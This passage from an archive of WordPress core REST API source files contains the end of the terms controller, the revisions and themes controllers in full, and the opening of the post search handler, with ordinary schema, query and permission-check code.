					'type'         => 'string',
					'format'       => 'uri',
					'context'      => array( 'view', 'embed', 'edit' ),
					'readonly'     => true,
				),
				'name'        => array(
					'description'  => __( 'HTML title for the term.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'embed', 'edit' ),
					'arg_options'  => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
					'required'     => true,
				),
				'slug'        => array(
					'description'  => __( 'An alphanumeric identifier for the term unique to its type.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'embed', 'edit' ),
					'arg_options'  => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'taxonomy'    => array(
					'description'  => __( 'Type attribution for the term.' ),
					'type'         => 'string',
					'enum'         => array_keys( get_taxonomies() ),
					'context'      => array( 'view', 'embed', 'edit' ),
					'readonly'     => true,
				),
			),
		);

		$taxonomy = get_taxonomy( $this->taxonomy );

		if ( $taxonomy->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description'  => __( 'The parent term ID.' ),
				'type'         => 'integer',
				'context'      => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		$taxonomy = get_taxonomy( $this->taxonomy );

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description'       => __( 'Ensure result set excludes specific IDs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
			'default'           => array(),
		);

		$query_params['include'] = array(
			'description'       => __( 'Limit result set to specific IDs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
			'default'           => array(),
		);

		if ( ! $taxonomy->hierarchical ) {
			$query_params['offset'] = array(
				'description'       => __( 'Offset the result set by a specific number of items.' ),
				'type'              => 'integer',
			);
		}

		$query_params['order'] = array(
			'description'       => __( 'Order sort attribute ascending or descending.' ),
			'type'              => 'string',
			'default'           => 'asc',
			'enum'              => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description'       => __( 'Sort collection by term attribute.' ),
			'type'              => 'string',
			'default'           => 'name',
			'enum'              => array(
				'id',
				'include',
				'name',
				'slug',
				'include_slugs',
				'term_group',
				'description',
				'count',
			),
		);

		$query_params['hide_empty'] = array(
			'description'       => __( 'Whether to hide terms not assigned to any posts.' ),
			'type'              => 'boolean',
			'default'           => false,
		);

		if ( $taxonomy->hierarchical ) {
			$query_params['parent'] = array(
				'description'       => __( 'Limit result set to terms assigned to a specific parent.' ),
				'type'              => 'integer',
			);
		}

		$query_params['post'] = array(
			'description'       => __( 'Limit result set to terms assigned to a specific post.' ),
			'type'              => 'integer',
			'default'           => null,
		);

		$query_params['slug'] = array(
			'description'       => __( 'Limit result set to terms with one or more specific slugs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'string'
			),
		);

		/**
		 * Filter collection parameters for the terms controller.
		 *
		 * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
		 * slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Term_Query parameter.  Use the
		 * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array       $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Taxonomy $taxonomy     Taxonomy object.
		 */
		return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
	}

	/**
	 * Checks that the taxonomy is valid.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to check.
	 * @return bool Whether the taxonomy is allowed for REST management.
	 */
	protected function check_is_taxonomy_allowed( $taxonomy ) {
		$taxonomy_obj = get_taxonomy( $taxonomy );
		if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
			return true;
		}
		return false;
	}
}
endpoints/class-wp-rest-revisions-controller.php000066600000056010151114277720016201 0ustar00<?php
/**
 * REST API: WP_REST_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access revisions via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Revisions_Controller extends WP_REST_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent controller.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$this->parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		$this->namespace = 'wp/v2';
		$this->rest_base = 'revisions';
		$post_type_object = get_post_type_object( $parent_post_type );
		$this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
	}

	/**
	 * Registers routes for revisions based on post types supporting revisions.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base, array(
			'args' => array(
				'parent' => array(
					'description' => __( 'The ID for the parent of the object.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)', array(
			'args' => array(
				'parent' => array(
					'description' => __( 'The ID for the parent of the object.' ),
					'type'        => 'integer',
				),
				'id' => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'                => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			array(
				'methods'             => WP_REST_Server::DELETABLE,
				'callback'            => array( $this, 'delete_item' ),
				'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				'args'                => array(
					'force' => array(
						'type'        => 'boolean',
						'default'     => false,
						'description' => __( 'Required to be true, as revisions do not support trashing.' ),
					),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		));

	}

	/**
	 * Get the parent post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent ) {
		$error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) );
		if ( (int) $parent <= 0 ) {
			return $error;
		}

		$parent = get_post( (int) $parent );
		if ( empty( $parent ) || empty( $parent->ID ) || $this->parent_post_type !== $parent->post_type ) {
			return $error;
		}

		return $parent;
	}

	/**
	 * Checks if a given request has access to get revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$parent_post_type_obj = get_post_type_object( $parent->post_type );
		if ( ! current_user_can( $parent_post_type_obj->cap->edit_post, $parent->ID ) ) {
			return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Get the revision, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_revision( $id ) {
		$error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid revision ID.' ), array( 'status' => 404 ) );
		if ( (int) $id <= 0 ) {
			return $error;
		}

		$revision = get_post( (int) $id );
		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
			return $error;
		}

		return $revision;
	}

	/**
	 * Gets a collection of revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) );
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) );
		}

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$args       = array(
				'post_parent'      => $parent->ID,
				'post_type'        => 'revision',
				'post_status'      => 'inherit',
				'posts_per_page'   => -1,
				'orderby'          => 'date ID',
				'order'            => 'DESC',
				'suppress_filters' => true,
			);

			$parameter_mappings = array(
				'exclude'  => 'post__not_in',
				'include'  => 'post__in',
				'offset'   => 'offset',
				'order'    => 'order',
				'orderby'  => 'orderby',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
				'search'   => 's',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$args[ $wp_param ] = $request[ $api_param ];
				}
			}

			// For backward-compatibility, 'date' needs to resolve to 'date ID'.
			if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
				$args['orderby'] = 'date ID';
			}

			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$args       = apply_filters( 'rest_revision_query', $args, $request );
			$query_args = $this->prepare_items_query( $args, $request );

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = (int) $query_args['paged'];
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );

				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}

			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) );
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) );
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		$response = array();
		foreach ( $revisions as $revision ) {
			$data = $this->prepare_item_for_response( $revision, $request );
			$response[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $response );

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base           = add_query_arg( $request_params, rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to get a specific revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->get_items_permissions_check( $request );
	}

	/**
	 * Retrieves one revision from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full data about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->prepare_item_for_response( $revision, $request );
		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a revision.
	 *
	 * @since 4.7.0
	 *
	 * @param  WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$response = $this->get_items_permissions_check( $request );
		if ( ! $response || is_wp_error( $response ) ) {
			return $response;
		}

		$post_type = get_post_type_object( 'revision' );
		return current_user_can( $post_type->cap->delete_post, $revision->ID );
	}

	/**
	 * Deletes a single revision.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$revision = $this->get_revision( $request['id'] );
		if ( is_wp_error( $revision ) ) {
			return $revision;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for revisions.
		if ( ! $force ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$previous = $this->prepare_item_for_response( $revision, $request );

		$result = wp_delete_post( $request['id'], true );

		/**
		 * Fires after a revision is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param (mixed) $result The revision object (if it was deleted or moved to the trash successfully)
		 *                        or false (failure). If the revision was moved to the trash, $result represents
		 *                        its new state; if it was deleted, $result represents its state before deletion.
		 * @param WP_REST_Request $request The request sent to the API.
		 */
		do_action( 'rest_delete_revision', $result, $request );

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.0.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $post->ID;
		}

		if ( in_array( 'modified', $fields, true ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( in_array( 'modified_gmt', $fields, true ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( in_array( 'guid', $fields, true ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( in_array( 'title', $fields, true ) ) {
			$data['title'] = array(
				'raw'      => $post->post_title,
				'rendered' => get_the_title( $post->ID ),
			);
		}

		if ( in_array( 'content', $fields, true ) ) {

			$data['content'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'excerpt', $fields, true ) ) {
			$data['excerpt'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ),
			);
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );
		$response = rest_ensure_response( $data );

		if ( ! empty( $data['parent'] ) ) {
			$response->add_link( 'parent', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->parent_base, $data['parent'] ) ) );
		}

		/**
		 * Filters a revision returned from the API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_revision', $response, $post, $request );
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => "{$this->parent_post_type}-revision",
			'type'       => 'object',
			// Base properties for every Revision.
			'properties' => array(
				'author'          => array(
					'description' => __( 'The ID for the author of the object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date'            => array(
					'description' => __( "The date the object was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'        => array(
					'description' => __( 'The date the object was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'            => array(
					'description' => __( 'GUID for the object, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'id'              => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'        => array(
					'description' => __( "The date the object was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'modified_gmt'    => array(
					'description' => __( 'The date the object was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'parent'          => array(
					'description' => __( 'The ID for the parent of the object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					),
				'slug'            => array(
					'description' => __( 'An alphanumeric identifier for the object unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$parent_schema = $this->parent_controller->get_item_schema();

		if ( ! empty( $parent_schema['properties']['title'] ) ) {
			$schema['properties']['title'] = $parent_schema['properties']['title'];
		}

		if ( ! empty( $parent_schema['properties']['content'] ) ) {
			$schema['properties']['content'] = $parent_schema['properties']['content'];
		}

		if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
			$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
		}

		if ( ! empty( $parent_schema['properties']['guid'] ) ) {
			$schema['properties']['guid'] = $parent_schema['properties']['guid'];
		}

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		unset( $query_params['per_page']['default'] );

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'date',
				'id',
				'include',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		return $query_params;
	}

	/**
	 * Checks the post excerpt and prepare it for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string  $excerpt The post excerpt.
	 * @param WP_Post $post    Post revision object.
	 * @return string Prepared excerpt or empty string.
	 */
	protected function prepare_excerpt_response( $excerpt, $post ) {

		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );

		if ( empty( $excerpt ) ) {
			return '';
		}

		return $excerpt;
	}
}
endpoints/class-wp-rest-themes-controller.php000066600000015572151114277720015455 0ustar00<?php
/**
 * REST API: WP_REST_Themes_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to manage themes via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Themes_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'themes';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! is_user_logged_in() || ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Retrieves a collection of themes.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();
		$themes     = array();

		if ( isset( $registered['status'], $request['status'] ) && in_array( 'active', $request['status'], true ) ) {
			$active_theme = wp_get_theme();
			$active_theme = $this->prepare_item_for_response( $active_theme, $request );
			$themes[]     = $this->prepare_response_for_collection( $active_theme );
		}

		$response = rest_ensure_response( $themes );

		$response->header( 'X-WP-Total', count( $themes ) );
		$response->header( 'X-WP-TotalPages', count( $themes ) );

		return $response;
	}

	/**
	 * Prepares a single theme output for response.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Theme        $theme   Theme object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $theme, $request ) {
		$data   = array();
		$fields = $this->get_fields_for_response( $request );

		if ( in_array( 'theme_supports', $fields, true ) ) {
			$formats                           = get_theme_support( 'post-formats' );
			$formats                           = is_array( $formats ) ? array_values( $formats[0] ) : array();
			$formats                           = array_merge( array( 'standard' ), $formats );
			$data['theme_supports']['formats'] = $formats;

			$data['theme_supports']['post-thumbnails']   = false;
			$data['theme_supports']['responsive-embeds'] = (bool) get_theme_support( 'responsive-embeds' );
			$post_thumbnails                             = get_theme_support( 'post-thumbnails' );

			if ( $post_thumbnails ) {
				// $post_thumbnails can contain a nested array of post types.
				// e.g. array( array( 'post', 'page' ) ).
				$data['theme_supports']['post-thumbnails'] = is_array( $post_thumbnails ) ? $post_thumbnails[0] : true;
			}
		}

		$data = $this->add_additional_fields_to_object( $data, $request );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		/**
		 * Filters theme data returned from the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Theme         $theme    Theme object used to create response.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_theme', $response, $theme, $request );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'theme',
			'type'       => 'object',
			'properties' => array(
				'theme_supports' => array(
					'description' => __( 'Features supported by this theme.' ),
					'type'        => 'array',
					'readonly'    => true,
					'properties'  => array(
						'formats'           => array(
							'description' => __( 'Post formats supported.' ),
							'type'        => 'array',
							'readonly'    => true,
						),
						'post-thumbnails'   => array(
							'description' => __( 'Whether the theme supports post thumbnails.' ),
							'type'        => array( 'array', 'bool' ),
							'readonly'    => true,
						),
						'responsive-embeds' => array(
							'description' => __( 'Whether the theme supports responsive embedded content.' ),
							'type'        => 'bool',
							'readonly'    => true,
						),
					),
				),
			),
		);

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the search params for the themes collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['status'] = array(
			'description'       => __( 'Limit result set to themes assigned one or more statuses.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array( 'active' ),
				'type' => 'string',
			),
			'required'          => true,
			'sanitize_callback' => array( $this, 'sanitize_theme_status' ),
		);

		/**
		 * Filter collection parameters for the themes controller.
		 *
		 * @since 5.0.0
		 *
		 * @param array        $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_themes_collection_params', $query_params );
	}

	/**
	 * Sanitizes and validates the list of theme status.
	 *
	 * @since 5.0.0
	 *
	 * @param  string|array    $statuses  One or more theme statuses.
	 * @param  WP_REST_Request $request   Full details about the request.
	 * @param  string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_theme_status( $statuses, $request, $parameter ) {
		$statuses = wp_parse_slug_list( $statuses );

		foreach ( $statuses as $status ) {
			$result = rest_validate_request_arg( $status, $request, $parameter );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return $statuses;
	}
}
search/class-wp-rest-post-search-handler.php000066600000012077151114277720015111 0ustar00<?php
/**
 * REST API: WP_REST_Post_Search_Handler class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class representing a search handler for posts in the REST API.
 *
 * @since 5.0.0
 */
